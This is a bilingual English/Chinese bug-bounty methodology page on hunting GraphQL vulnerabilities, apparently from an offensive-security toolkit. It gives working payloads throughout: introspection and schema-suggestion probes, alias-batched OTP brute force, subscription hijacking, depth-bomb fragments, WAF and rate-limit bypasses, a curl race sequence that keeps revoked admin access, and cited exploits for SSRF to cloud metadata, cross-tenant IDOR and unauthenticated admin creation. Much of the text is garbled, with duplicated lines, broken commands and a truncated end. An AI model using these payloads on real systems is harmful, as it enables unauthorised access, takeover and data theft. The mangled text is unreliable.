hunt-graphql
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseCrown Jewel Targets
核心高价值目标
GraphQL vulnerabilities are high-value because the attack surface is both broad and deep — a single endpoint can expose entire data models, privilege escalation paths, and cross-API state confusion. Highest payouts occur in:
- Platform APIs (GitHub, Shopify, Stripe-tier targets) where GraphQL mutations interact with REST APIs managing the same resources
- Race conditions between GraphQL mutations and REST endpoints where state synchronization is non-atomic — these hit medium-to-high severity reliably
- Authorization persistence bugs where team/org/repo membership state is controlled by one API but readable/writable by another
- B2B SaaS platforms where one tenant affecting another via schema traversal = critical
- Internal admin GraphQL endpoints accidentally exposed to lower-privilege users
The GitHub reports demonstrate the crown jewel pattern: privilege that should be revoked persists because two APIs disagree on ground truth.
GraphQL 漏洞价值极高,因为其攻击面既广又深——单个端点就可能暴露完整的数据模型、权限提升路径和跨 API 状态混乱。以下场景通常能获得最高赏金:
- 平台 API(GitHub、Shopify、Stripe 等高层级目标),其中 GraphQL mutations 会与管理相同资源的 REST API 交互
- GraphQL mutations 与 REST 端点之间的竞态条件,状态同步并非原子操作——这类问题可稳定命中中危至高危级别
- 授权持久化缺陷,团队、组织或仓库的成员关系状态由一个 API 控制,却可被另一个 API 读取或写入
- B2B SaaS 平台,一个租户可通过 schema 遍历影响另一个租户 = 严重
- 内部管理员 GraphQL 端点被意外暴露给较低权限用户
GitHub 报告展示了这一高价值模式:由于两个 API 对真实状态存在分歧,本应被撤销的权限却持续存在。
Attack Surface Signals
攻击面信号
URL Patterns:
/graphql
/api/graphql
/v1/graphql
/query
/gql
/graph
/api/v2/graphql
/internal/graphqlResponse Headers:
Content-Type: application/json (with query body)
X-Request-Id + no REST-style path params = likely GraphQLJavaScript Source Patterns:
js
// grep for these in JS bundles
"query {"
"mutation {"
"__typename"
"apollo"
"ApolloClient"
"graphql-tag"
"gql`"
"operationName"
"GRAPHQL_URI"Tech Stack Signals:
- Apollo Server/Client in JS bundles
- Relay in React apps
- or
graphene(Python),strawberry,graphql-ruby(Go),gqlgen(Laravel)Lighthouse - POST requests with body shape in Burp history
{"query": "..."} - or
__schemain any response = confirmed GraphQL__type
Recon Sources:
- search:
github.com"graphql" site:target.com - Wayback Machine for paths
/graphql - JS bundle scanning with or
LinkFindergetallurls
URL 模式:
/graphql
/api/graphql
/v1/graphql
/query
/gql
/graph
/api/v2/graphql
/internal/graphql响应头:
Content-Type: application/json (with query body)
X-Request-Id + no REST-style path params = likely GraphQLJavaScript 源代码模式:
js
// grep for these in JS bundles
"query {"
"mutation {"
"__typename"
"apollo"
"ApolloClient"
"graphql-tag"
"gql`"
"operationName"
"GRAPHQL_URI"技术栈信号:
- JS bundles 中出现 Apollo Server/Client
- React 应用中使用 Relay
- 或
graphene(Python)、strawberry、graphql-ruby(Go)、gqlgen(Laravel)Lighthouse - Burp history 中存在正文结构为 的 POST 请求
{"query": "..."} - 任意响应中出现 或
__schema= 已确认是 GraphQL__type
侦察来源:
- 在 搜索:
github.com"graphql" site:target.com - 使用 Wayback Machine 查找 路径
/graphql - 使用 或
LinkFinder扫描 JS bundlesgetallurls
Step-by-Step Hunting Methodology
分步漏洞狩猎方法
-
Discover the endpoint — spider JS bundles, check,
/graphql, review Burp passive scan hits for/api/graphqlPOST with query fieldsapplication/json -
Test introspection — send the full introspection query. Even if blocked, try field-level enumeration:graphql
{ __typename }If that returns, introspection may be partially blocked but the schema is discoverable -
Map the full schema — use(Burp extension) or
InQLto visualize relationships. Specifically look for:graphql-voyager- Mutations that modify ownership, permissions, or membership
- Mutations that mirror REST API functionality
-
Identify REST/GraphQL overlap — document every resource that can be modified via BOTH REST and GraphQL. These dual-write surfaces are your RC targets.
-
Test authorization boundaries per mutation — replay mutations as lower-privilege users. Does the server enforce the same authz as the equivalent REST call?
-
Hunt cross-API state desync — find sequences where:
- REST action should revoke access
- GraphQL mutation re-grants or preserves it
- Test the ordering: REST first → GraphQL → check state; then GraphQL first → REST → check state
-
Test for persistent privilege after role/membership changes — remove a user via REST, then call the corresponding GraphQL mutation for that resource. Query current state via both APIs and compare.
-
Probe for IDOR in node IDs — GraphQL global IDs often encode object type + ID. Swap IDs across object boundaries and across account contexts.
-
Check batch query abuse — send arrays of operations to bypass rate limiting or amplify enumeration.
-
Document the exact reproduction chain — for RC bugs, time-based steps must be reproducible deterministically.
-
发现端点——爬取 JS bundles,检查、
/graphql,审查 Burp 被动扫描记录中带 query 字段的/api/graphqlPOST 请求application/json -
测试 introspection——发送完整的 introspection query。即使被阻止,也尝试字段级枚举:graphql
{ __typename }如果该请求有响应,说明 introspection 可能仅被部分屏蔽,但 schema 仍可被发现 -
映射完整 schema——使用(Burp extension)或
InQL可视化关系。特别查找:graphql-voyager- 修改所有权、权限或成员关系的 mutations
- 与 REST API 功能对应的 mutations
-
确定 REST/GraphQL 重叠面——记录所有可通过 REST 和 GraphQL 两者修改的资源。这些 dual-write 攻击面就是 RC 目标。
-
按 mutation 测试授权边界——以低权限用户重放 mutations。服务器执行的 authz 是否与等效 REST 调用相同?
-
寻找跨 API 状态失同步——找出以下操作序列:
- REST 操作应撤销访问权限
- GraphQL mutation 重新授予或保留权限
- 测试顺序:先 REST → GraphQL → 检查状态;然后 GraphQL → REST → 检查状态
-
测试角色或成员关系变更后的权限残留——通过 REST 移除用户,然后调用该资源对应的 GraphQL mutation。通过两个 API 查询当前状态并比较。
-
探测 node ID 中的 IDOR——GraphQL global ID 通常编码对象类型和 ID。跨对象边界及账户上下文替换 ID。
-
检查批量查询滥用——发送操作数组,绕过速率限制或放大枚举。
-
记录精确复现链——对于 RC 漏洞,基于时间的步骤必须能够确定性复现。
Payload & Detection Patterns
攻击载荷与检测模式
Full Introspection Query:
graphql
{
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
}
}Minimal Introspection Probe (bypass attempt):
graphql
{ __typename }curl introspection test:
bash
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{"query":"{ __schema { queryType { name } } }"}' | jq .Field suggestion probe (bypass blind introspection blocks):
graphql
{ unknownField }If response returns — schema is enumerable despite introspection being disabled.
"Did you mean: [realFieldName]?"Batch query amplification:
json
[
{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
{"query": "{ user(id: 3) { email } }"}
]Subscription hijacking (cross-user channel access):
graphql
subscription { messageAdded(channelId: "OTHER_USERS_CHANNEL") { content sender { email } } }If subscriptions lack per-user scoping, an attacker can receive real-time events from another user's channel or conversation.
Multi-code OTP/2FA brute-force via alias batching:
graphql
mutation {
v1: verifyOtp(code:"000001"){token}
v2: verifyOtp(code:"000002"){token}
v3: verifyOtp(code:"000003"){token}
}A single GraphQL request aliases the same mutation with different OTP codes. Combined with parallel HTTP, this defeats per-request rate limiting and compresses brute-force attempts into fewer network round-trips.
RC desync test pattern (pseudo-sequence):
bash
undefined完整 Introspection Query:
graphql
{
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
}
}最小化 Introspection 探测(绕过尝试):
graphql
{ __typename }curl introspection 检测:
bash
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{"query":"{ __schema { queryType { name } } }"}' | jq .字段建议探测(绕过盲 introspection 封锁):
graphql
{ unknownField }如果响应返回 ,说明即使 introspection 已被禁用,schema 仍可枚举。
"Did you mean: [realFieldName]?"批处理查询放大:
json
[
{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
{"query": "{ user(id: 3) { email } }"}
]Subscription 劫持(跨用户 channel 访问):
graphql
subscription { messageAdded(channelId: "OTHER_USERS_CHANNEL") { content sender { email } } }如果 subscriptions 缺少按用户限定的作用域,攻击者即可接收其他用户 channel 或 conversation 中的实时事件。
通过 alias batching 对多组代码进行 OTP/2FA 暴力破解:
graphql
mutation {
v1: verifyOtp(code:"000001"){token}
v2: verifyOtp(code:"000002"){token}
v3: verifyOtp(code:"000003"){token}
}单个 GraphQL 请求通过 alias 使用不同 OTP code 调用同一个 mutation。结合并行 HTTP,这可以击穿按请求实施的速率限制,并将暴力尝试压缩到更少的网络往返中。
RC 失同步测试模式(伪序列):
bash
undefinedStep 1: Grant access via REST
Step 1: Grant access via REST
curl -X PUT https://api.target.com/repos/ORG/REPO/teams/TEAM
-H "Authorization: token ADMIN_TOKEN"
-d '{"permission":"admin"}'
-H "Authorization: token ADMIN_TOKEN"
-d '{"permission":"admin"}'
curl -X PUT https://api.target.com/repos/ORG/REPO/teams/TEAM
-H "Authorization: token ADMIN_TOKEN"
-d '{"permission":"admin"}'
-H "Authorization: token ADMIN_TOKEN"
-d '{"permission":"admin"}'
Step 2: Revoke via REST
Step 2: Revoke via REST
curl -X DELETE https://api.target.com/repos/ORG/REPO/teams/TEAM
-H "Authorization: token ADMIN_TOKEN"
-H "Authorization: token ADMIN_TOKEN"
curl -X DELETE https://api.target.com/repos/ORG/REPO/teams/TEAM
-H "Authorization: token ADMIN_TOKEN"
-H "Authorization: token ADMIN_TOKEN"
Step 3: Re-assert via GraphQL mutation
Step 3: Re-assert via GraphQL mutation
curl -X POST https://api.target.com/graphql
-H "Authorization: bearer ATTACKER_TOKEN"
-d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: "REPO_ID", teamId: "TEAM_ID", permission: ADMIN}) { clientMutationId } }"}'
-H "Authorization: bearer ATTACKER_TOKEN"
-d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: "REPO_ID", teamId: "TEAM_ID", permission: ADMIN}) { clientMutationId } }"}'
curl -X POST https://api.target.com/graphql
-H "Authorization: bearer ATTACKER_TOKEN"
-d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: "REPO_ID", teamId: "TEAM_ID", permission: ADMIN}) { clientMutationId } }"}'
-H "Authorization: bearer ATTACKER_TOKEN"
-d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: "REPO_ID", teamId: "TEAM_ID", permission: ADMIN}) { clientMutationId } }"}'
Step 4: Verify persistent access
Step 4: Verify persistent access
curl https://api.target.com/repos/ORG/REPO/teams
-H "Authorization: token ADMIN_TOKEN"
-H "Authorization: token ADMIN_TOKEN"
**Grep for GraphQL in JS bundles:**
```bash
grep -Eo '(query|mutation|subscription)\s+\w+\s*[\({]' bundle.js
grep -Eo '"(/[a-z0-9/_-]*graphql[a-z0-9/_-]*)"' bundle.jsGraphQL introspection & audit tooling:
bash
undefinedcurl https://api.target.com/repos/ORG/REPO/teams
-H "Authorization: token ADMIN_TOKEN"
-H "Authorization: token ADMIN_TOKEN"
**在 JS bundles 中 grep GraphQL:**
```bash
grep -Eo '(query|mutation|subscription)\s+\w+\s*[\({]' bundle.js
grep -Eo '"(/[a-z0-9/_-]*graphql[a-z0-9/_-]*)"' bundle.jsGraphQL introspection 与审计工具:
bash
undefinedInQL (Burp extension) — visualize GraphQL schema and relationships
InQL (Burp extension) — visualize GraphQL schema and relationships
inql -t https://target/graphql --generate-queries
inql -t https://target/graphql --generate-queries
Clairvoyance — brute-force field names when introspection is disabled
Clairvoyance — brute-force field names when introspection is disabled
python3 clairvoyance.py -u https://target/graphql -H "Authorization: Bearer TOKEN" -w wordlist.txt -o schema.json
python3 clairvoyance.py -u https://target/graphql -H "Authorization: Bearer TOKEN" -w wordlist.txt -o schema.json
GraphQL Cop — scan for common misconfigurations (introspection enabled, no depth limits, etc.)
GraphQL Cop — scan for common misconfigurations (introspection enabled, no depth limits, etc.)
graphql-cop -t https://target/graphql
---graphql-cop -t https://target/graphql
---Common Root Causes
常见根因
-
Dual-write without atomic locking — developers implement the same resource modification in both REST and GraphQL independently. Neither system is aware the other exists for that resource. State updates aren't serialized or compared.
-
Inconsistent authorization middleware — REST endpoints go through one auth layer (e.g., middleware chain), GraphQL resolvers go through a different resolver-level check. The same action, different enforcement.
-
GraphQL as "new REST" migration — teams add GraphQL mutations that mirror REST functionality without auditing the permission model. The GraphQL version is less mature and skips checks the REST version accumulated over time.
-
Introspection left on in production — default framework settings (Apollo, Graphene) enable introspection in all environments. Developers forget to disable it, treating it as "just documentation."
-
Node ID trust without re-authorization — GraphQL global IDs () are decoded and trusted without verifying the requesting user has access to that specific object.
base64("ObjectType:123") -
Mutation side effects not mirrored — when a REST action triggers cascading effects (e.g., team removal cascades to permission revocation), the GraphQL equivalent mutation doesn't trigger the same cascades.
-
双写但未使用原子锁——开发者分别在 REST 和 GraphQL 中独立实现对同一资源的修改。两套系统都不知道对方也能修改该资源。状态更新既未串行化,也未相互核对。
-
授权中间件不一致——REST 端点使用一套授权层,例如 middleware chain;GraphQL resolvers 则使用另一套 resolver-level check。同一操作,却由不同机制执行授权检查。
-
将 GraphQL 作为“新 REST”进行迁移——团队添加与 REST 功能对应的 GraphQL mutations,却未审计权限模型。GraphQL 版本尚不成熟,遗漏了 REST 版本长期积累的检查。
-
生产环境仍启用 introspection——默认框架设置(Apollo、Graphene)在所有环境中启用 introspection。开发者忘记将其关闭,只把它当作“文档”。
-
信任 Node ID 且未重新授权——GraphQL global IDs()经过解码后便被直接信任,没有验证请求用户是否有权访问该特定对象。
base64("ObjectType:123") -
Mutation 副作用未同步——当 REST 操作触发级联效果时,例如移除团队会级联撤销权限,对应的 GraphQL mutation 却不会触发相同的级联效果。
Bypass Techniques
绕过技术
Defense: Introspection disabled
- Bypass via field suggestion errors — send invalid field names and parse "did you mean X?" responses
- Use to brute-force field names against a wordlist
clairvoyance - Check JS bundles for hardcoded query strings that reveal the schema
Defense: Depth limiting
- Fragment spread to increase effective depth without hitting the limiter:
graphql
fragment F on User { repos { teams { members { ...F } } } }Defense: Rate limiting per IP
- Use batch operations (array of queries in one POST)
- Distribute across authenticated sessions
Defense: Auth checks on mutations
- Test with tokens at different privilege tiers (viewer, member, admin)
- Test unauthenticated — some mutations don't check session at all
- Test with tokens from different organizations — multi-tenant IDOR
Defense: WAF blocking
__schema- Alias the introspection field:
graphql
{ s: __schema { t: types { n: name } } }- Use HTTP parameter pollution or alternate content-type headers
Defense: Operation whitelisting (persisted queries)
- Check if the server falls back to ad-hoc queries when the hash mismatches
extensions.persistedQuery - Look for a non-whitelisted endpoint (dev, staging, internal proxy)
防御:已禁用 introspection
- 通过字段建议错误绕过——发送无效字段名并解析 响应
did you mean X? - 使用 配合 wordlist 暴力枚举字段名
clairvoyance - 检查 JS bundles 中是否包含可揭示 schema 的硬编码 query 字符串
防御:深度限制
- 利用 fragment spread 提高有效深度而不触发限制器:
graphql
fragment F on User { repos { teams { members { ...F } } } }防御:按 IP 实施速率限制
- 使用 batch operations,即在一个 POST 中包含查询数组
- 分散到多个 authenticated sessions
防御:Mutations 上的授权检查
- 使用不同权限层级的 token 进行测试(viewer、member、admin)
- 测试未认证情况——某些 mutations 根本不检查 session
- 使用来自不同组织的 tokens 进行测试——multi-tenant IDOR
防御:WAF 屏蔽
__schema- 为 introspection field 使用 alias:
graphql
{ s: __schema { t: types { n: name } } }- 使用 HTTP parameter pollution 或 alternate content-type headers
防御:操作白名单(persisted queries)
- 检查 hash 不匹配时,服务器是否会回退到 ad-hoc queries
extensions.persistedQuery - 查找未配置白名单的 endpoint(dev、staging、internal proxy)
Alias batching: when it wins races vs when it doesn't
Alias batching:何时能赢得竞态,何时不能
A common claim is "alias batching defeats per-user rate limits and double-spend protections." Whether this actually wins depends on the resolver execution model:
| Resolver type | Behavior on aliased mutations | Alias batching wins races? |
|---|---|---|
Multi-threaded / | Aliases run concurrently, share state via batch | YES — single HTTP request can amplify a race-target N times |
| Single-threaded / single-DB-connection per request | Aliases run serially; first mutation closes the door | NO — combine with parallel HTTP |
| Distributed gateway (Apollo Federation) | Sub-queries dispatched concurrently to subgraphs | Depends on each subgraph |
Verification example (single-threaded Flask + SQLite resolver):
- 10 aliased mutations in one request → only
redeemCouponsucceeds, r2-r10 fail withr1. Alias batching alone is insufficient.already_redeemed - The same 10 mutations as 20 parallel HTTP POSTs → 20 successes ($2000 from a $100 coupon).
Operator rule: treat alias batching as a single-RTT recon primitive. For race-target exploitation, combine with 's parallel-HTTP / Turbo Intruder single-packet attack. Verified in Test 11 vs Test 12.
hunt-race-conditiondocs/verification/phase2e-jwt-graphql-race.md一种常见说法是:“alias batching 可以击穿按用户实施的速率限制和双重消费保护。”它是否真的有效,取决于 resolver execution model:
| Resolver 类型 | 对 aliased mutations 的行为 | Alias batching 能赢得竞态吗? |
|---|---|---|
多线程 / | Aliases 并发运行,通过 batch 共享状态 | 是——单个 HTTP 请求可将竞态目标放大 N 次 |
| 单线程 / 每个请求使用单个 DB 连接 | Aliases 串行运行;第一个 mutation 会关闭入口 | 否——结合并行 HTTP |
| 分布式 gateway(Apollo Federation) | Sub-queries 并发分派给 subgraphs | 取决于每个 subgraph |
验证示例(单线程 Flask + SQLite resolver):
- 在一个请求中执行 10 个 aliased mutations → 只有
redeemCoupon成功,r2-r10 均因r1失败。单独使用 alias batching 并不足以利用该问题。already_redeemed - 将同样的 10 个 mutations 作为 20 个并行 HTTP POST 发送 → 20 次全部成功(用一张价值 100 美元的优惠券消费了 2000 美元)。
**操作准则:**将 alias batching 视为单次 RTT 侦察原语。若要利用竞态目标,应结合 的并行 HTTP / Turbo Intruder 单数据包攻击。已在 的 Test 11 与 Test 12 中验证。
hunt-race-conditiondocs/verification/phase2e-jwt-graphql-race.mdGate 0 Validation
Gate 0 验证
-
What can the attacker DO right now? Must be a concrete action: access data they shouldn't see, retain privileges after revocation, modify another user's resources. "The schema is visible" alone is not enough — what does the schema unlock?
-
What does the victim LOSE? Must be a real asset: data confidentiality, access control integrity, org security guarantees. For the RC pattern: an org admin loses the guarantee that removing a team revokes all access. That's a security contract violation.
-
Can it be reproduced in 10 minutes from scratch? For RC/desync bugs: write the exact curl sequence. Run it twice. If the privilege persists deterministically (not timing-dependent flakiness), it's reportable. If it requires millisecond timing luck, document the window and test on low-load times.
-
攻击者现在能做什么? 必须是一项具体操作:访问不应看到的数据、在权限撤销后仍保留权限、修改其他用户的资源。仅“schema 可见”并不足够——schema 究竟解锁了什么?
-
受害者会失去什么? 必须是一项真实资产:数据机密性、访问控制完整性、组织安全保证。对于 RC 模式:组织管理员失去“移除团队会撤销所有访问权限”的保证。这属于安全契约违规。
-
能否从零开始在 10 分钟内复现? 对于 RC 或失同步漏洞:写出精确的 curl 序列并运行两次。如果权限会确定性地残留,而非受时序影响而偶发,则可以提交报告。如果必须依赖毫秒级时序运气,则记录时间窗口,并在低负载时段测试。
Real Impact Examples
真实影响示例
Scenario A — Covert Persistent Admin After Team Removal (GitHub-pattern)
An attacker who legitimately had admin access to a repository via team membership gets removed by the org admin through the REST API. The attacker, before removal completes, calls the GraphQL mutation to re-associate their team with admin permissions. The REST removal and GraphQL re-grant create a desync where the UI shows the team as removed, but the GraphQL state preserves admin-level access. The attacker retains covert write access to the repository indefinitely — pushing code, reading secrets in CI/CD — without appearing in the team's member list. This persists through org audits.
updateTeamsRepositoryScenario B — Covert Access via Repo Transfer Race (GitHub-pattern)
An attacker with admin access initiates a repository transfer to another organization via the REST API. During or after the transfer, they invoke on the now-transferred repo's ID. Because the GraphQL mutation doesn't validate current org ownership state consistently with the REST transfer event, the original attacker's team retains admin access on a repo now owned by a different organization. The receiving org has no visibility into this team association. The attacker can exfiltrate intellectual property from an org they have no legitimate relationship with.
updateTeamsRepositoryScenario C — Introspection as Reconnaissance Prerequisite (Shopify-pattern)
On a platform where introspection is intentionally enabled (per-program rules), a hunter maps the full schema and discovers undocumented mutations for and that are not surfaced in public docs. These mutations accept merchant IDs as arguments with no scoping validation visible in the schema. This recon directly enables targeted IDOR testing against merchant-to-merchant data isolation — the introspection itself is zero-severity, but it is the entry point to critical findings.
fulfillmentOrderMoveinventoryAdjust场景 A——团队移除后仍隐蔽保留管理员权限(GitHub 模式)
攻击者曾通过团队成员关系合法获得仓库 admin 权限,之后被组织管理员通过 REST API 移除。在移除操作完成前,攻击者调用 GraphQL mutation,将自己的团队重新关联为 admin 权限。REST 移除与 GraphQL 重新授权产生失同步:UI 显示团队已被移除,但 GraphQL 状态仍保留 admin 级别访问权。攻击者可以无限期保留对仓库的隐蔽写权限,包括推送代码、读取 CI/CD 中的 secrets,同时不会出现在团队成员列表中。这种状态还能躲过组织审计。
updateTeamsRepository场景 B——通过仓库转移竞态隐蔽获取访问权限(GitHub 模式)
拥有 admin 权限的攻击者通过 REST API 发起仓库转移。在转移期间或之后,攻击者对已转移仓库的 ID 调用 。由于 GraphQL mutation 未与 REST 转移事件一致地验证当前组织所有权状态,原始攻击者的团队会在现已归另一组织所有的仓库上保留 admin 权限。接收该仓库的组织看不到此团队关联。攻击者可以从与其没有任何合法关系的组织中窃取知识产权。
updateTeamsRepository场景 C——将 Introspection 作为侦察前提(Shopify 模式)
在有意启用 introspection 的平台上(依据项目规则),测试者会映射完整 schema,并发现公开文档中未出现的 和 mutations。这些 mutations 接受 merchant IDs 作为参数,而 schema 中看不到作用域验证。这项 recon 可直接支持针对 merchant 间数据隔离的定向 IDOR 测试——introspection 本身严重级别为零,但它是发现严重问题的切入点。
fulfillmentOrderMoveinventoryAdjustDisclosed Report Citations (Backfill +9 — 2019-2024)
已披露报告引用(补充 +9——2019–2024)
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill beyond the original 3 internal references. Each is a distinct GraphQL subclass with a working PoC documented in the cited writeup.
-
HackerOne — Confidential user-data exposure via GraphQLtype (H1 #489146)
User- Subclass: broken field-level authorization (PII exposure)
- Payload: direct query returning
user(id:...),email,backup_codes_hash,facebook_user_id,account_recovery_phone_number_verified_attotp_enabled - Root cause: backend migration introduced a GraphQL type with no field-level authz; any authenticated user could enumerate PII of all users
User - Year: 2019 — $20,000, 1,028 upvotes
-
HackerOne —mutation IDOR (Copilot pre-release) (H1 #2218334)
DestroyLlmConversation- Subclass: mutation IDOR on AI/LLM feature
- Payload:
mutation { destroyLlmConversation(input:{id:"<victim_conv_id>"}) { … } } - Root cause: new LLM-conversation mutation shipped without authorization decorator; any user could destroy any conversation
- Year: 2023 — caught pre-launch, no bounty (202 upvotes)
-
Shopify —cross-tenant IDOR (H1 #2207248)
BillingDocumentDownload- Subclass: IDOR on relay GID across tenants
- Payload:
query { billingDocumentDownload(id:"gid://shopify/BillingInvoice/<other_shop_id>") { url } } - Root cause: resolver authorized the requester's shop but did not verify the invoice belonged to that shop
BillingInvoice - Year: 2024 — $5,000, 175 upvotes
-
Shopify — Rate-limit bypass via negative cost (H1 #481518)
- Subclass: query-cost-calc abuse (sibling pattern to alias batching)
- Payload: — negative
query { products(first:-100) { … } }produced a negative query-cost contribution, refilling the leaky-bucket each callfirst - Root cause: query-cost calculator did not floor at zero; negative values subtracted from the consumed budget
- Year: 2019 — $1,000
-
Stripe — Cross-tenant IDOR via(H1 #1066203)
UpdateAtlasApplicationPerson- Subclass: cross-tenant IDOR on mutation
- Payload: — adding/modifying a co-founder on another merchant's Stripe Atlas application
mutation { updateAtlasApplicationPerson(input:{personId:"<victim_person_id>", …}) } - Root cause: mutation scoped only to "is admin of some merchant," not "is admin of the merchant owning this person"
- Year: 2020 — bounty undisclosed (resolved)
-
EXNESS — SSRF in GraphQLquery (H1 #1864188)
allTicks- Subclass: SSRF via GraphQL argument
- Payload: —
query { allTicks(source:"http://169.254.169.254/latest/meta-data/") { … } }arg fed into a server-side HTTP clientsource - Root cause: GraphQL field accepted a URL arg and dereferenced it without scheme/host allowlist
- Year: 2023 — $3,000, 249 upvotes
-
EXNESS — GraphQL attribute-batching DoS (H1 #2293642)
- Subclass: DoS via batching / deep-attribute amplification on unauth endpoint
- Payload: single HTTP request containing N batched operations, each requesting deeply nested attribute trees, sustained until origin OOM
- Root cause: no query-depth, query-complexity, or batch-size limits on unauthenticated
/graphql - Year: 2024 — bounty undisclosed (resolved)
-
GitLab — Malicious-runner attach via(CVE-2023-2478) (Advisory)
runnerUpdate- Subclass: auth bypass on mutation / project-scope missing
- Payload:
mutation { runnerUpdate(input:{id:"<attacker_runner_gid>", associatedProjects:["<victim_project_gid>"]}) } - Root cause: did not check that the caller had Maintainer on the target project — any user could bind their malicious runner and intercept CI jobs (build secrets, code execution)
runnerUpdate - Year: 2023 — Critical, CVSS 9.6 (H1 bounty undisclosed; GitLab Critical-tier typically $20k–$35k)
-
AS Watson — Auth bypass via unrestrictedmutation (HackerOne blog)
createAdminUser- Subclass: sensitive mutation reachable without authentication (introspection-aided discovery)
- Payload: invoked unauthenticated after schema enumeration via introspection
mutation { createAdminUser(input:{email:"x@x", role:"ADMIN", password:"…"}) { token } } - Root cause: schema lacked per-field authorization directives; exposed to public role
createAdminUser - Year: 2023 — "Best Bug" prize at HackerOne Ambassador World Cup
以下真实且经过验证的漏洞赏金或协同披露案例,将此 skill 的覆盖范围扩展到了最初 3 个内部引用之外。每一种都是独立的 GraphQL 子类,引用文章中记录了可用的 PoC。
-
HackerOne——通过 GraphQLtype 暴露机密用户数据(H1 #489146)
User- 子类:字段级授权失效(PII 暴露)
- 载荷:直接执行 query,返回
user(id:...)、email、backup_codes_hash、facebook_user_id、account_recovery_phone_number_verified_attotp_enabled - 根因:后端迁移引入 GraphQL type 时未实施字段级授权;任何已认证用户均可枚举所有用户的 PII
User - 年份:2019——$20,000,1,028 次赞同
-
HackerOne——mutation IDOR(Copilot 预发布版)(H1 #2218334)
DestroyLlmConversation- 子类:AI/LLM 功能上的 mutation IDOR
- 载荷:
mutation { destroyLlmConversation(input:{id:"<victim_conv_id>"}) { … } } - 根因:新的 LLM conversation mutation 上线时未添加 authorization decorator;任何用户都能销毁任意 conversation
- 年份:2023——上线前发现,无赏金(202 次赞同)
-
Shopify——跨租户 IDOR(H1 #2207248)
BillingDocumentDownload- 子类:跨租户 relay GID 上的 IDOR
- 载荷:
query { billingDocumentDownload(id:"gid://shopify/BillingInvoice/<other_shop_id>") { url } } - 根因:resolver 验证了请求者的 shop,却未验证 invoice 是否属于该 shop
BillingInvoice - 年份:2024——$5,000,175 次赞同
-
Shopify——通过负成本绕过速率限制(H1 #481518)
- 子类:query-cost-calc 滥用(alias batching 的同类模式)
- 载荷:——负数
query { products(first:-100) { … } }产生负的查询成本贡献,每次调用都会重新填充 leaky-bucketfirst - 根因:query-cost calculator 未将数值下限设为零;负值会从已消耗的预算中扣除
- 年份:2019——$1,000
-
Stripe——通过实现跨租户 IDOR(H1 #1066203)
UpdateAtlasApplicationPerson- 子类:mutation 上的跨租户 IDOR
- 载荷:——在另一 merchant 的 Stripe Atlas application 中添加或修改联合创始人
mutation { updateAtlasApplicationPerson(input:{personId:"<victim_person_id>", …}) } - 根因:mutation 仅检查调用者“是否为某个 merchant 的 admin”,而未检查“是否为拥有该 person 的 merchant 的 admin”
- 年份:2020——赏金未公开(已修复)
-
EXNESS——GraphQLquery 中的 SSRF(H1 #1864188)
allTicks- 子类:通过 GraphQL 参数触发的 SSRF
- 载荷:——
query { allTicks(source:"http://169.254.169.254/latest/meta-data/") { … } }参数被传入服务器端 HTTP clientsource - 根因:GraphQL field 接受 URL 参数后,未使用 scheme/host allowlist 便直接解析访问
- 年份:2023——$3,000,249 次赞同
-
EXNESS——GraphQL attribute-batching DoS(H1 #2293642)
- 子类:未认证 endpoint 上的批处理 DoS / 深层 attribute 放大
- 载荷:单个 HTTP 请求包含 N 个批量操作,每个操作都请求深层嵌套的 attribute trees,并持续发送直至源站 OOM
- 根因:未认证的 没有 query-depth、query-complexity 或 batch-size 限制
/graphql - 年份:2024——赏金未公开(已修复)
-
GitLab——通过附加恶意 runner(CVE-2023-2478)(Advisory)
runnerUpdate- 子类:mutation 上的 auth bypass / 缺少项目范围校验
- 载荷:
mutation { runnerUpdate(input:{id:"<attacker_runner_gid>", associatedProjects:["<victim_project_gid>"]}) } - 根因:未检查调用者是否为目标项目的 Maintainer——任何用户都能绑定自己的恶意 runner,并拦截 CI jobs(build secrets、代码执行)
runnerUpdate - 年份:2023——严重,CVSS 9.6(H1 赏金未公开;GitLab Critical 层级通常为 $20k–$35k)
-
AS Watson——通过不受限制的mutation 绕过认证(HackerOne blog)
createAdminUser- 子类:无需认证即可访问的敏感 mutation(借助 introspection 发现)
- 载荷:通过 introspection 枚举 schema 后,以未认证状态调用
mutation { createAdminUser(input:{email:"x@x", role:"ADMIN", password:"…"}) { token } } - 根因:schema 缺少 per-field authorization directives;对 public role 开放
createAdminUser - 年份:2023——HackerOne Ambassador World Cup“最佳 Bug”奖
Related Skills & Chains
相关 Skills 与 Chains
- — GraphQL
hunt-idorand global-relay-ID resolvers are IDOR factories: same shape, no scoping. Chain primitive: GraphQL introspection + IDOR (node(id:)resolver) → cross-tenant data via base64-decoded type:id replay.node() - — GraphQL mutations are mass-assignment magnets: clients send full input objects, server merges. Chain primitive: GraphQL mutation + extra fields (
hunt-api-misconfig,isAdmin:true) → mass assignment → role escalation.verified:true - — GraphQL aliases let you call the same mutation N times in one request, defeating per-request rate limits. Chain primitive: aliased mutation + business-logic flaw → coupon redeemed N times in single network round-trip.
hunt-business-logic - — GraphQL batching collapses N mutations into one HTTP packet — perfect single-packet race vehicle. Chain primitive: GraphQL batch + race → atomic-update missing → double-spend balance.
hunt-race-condition - — Load the GraphQL Payload Pack: introspection query, schema-suggestion error probe, alias amplification template, depth-bomb DoS payload, batch-attack template.
security-arsenal - — Apply the Body-Diff Rule: introspection alone is informational; require a concrete cross-tenant read or mutation-with-impact PoC before submitting.
triage-validation
- ——GraphQL
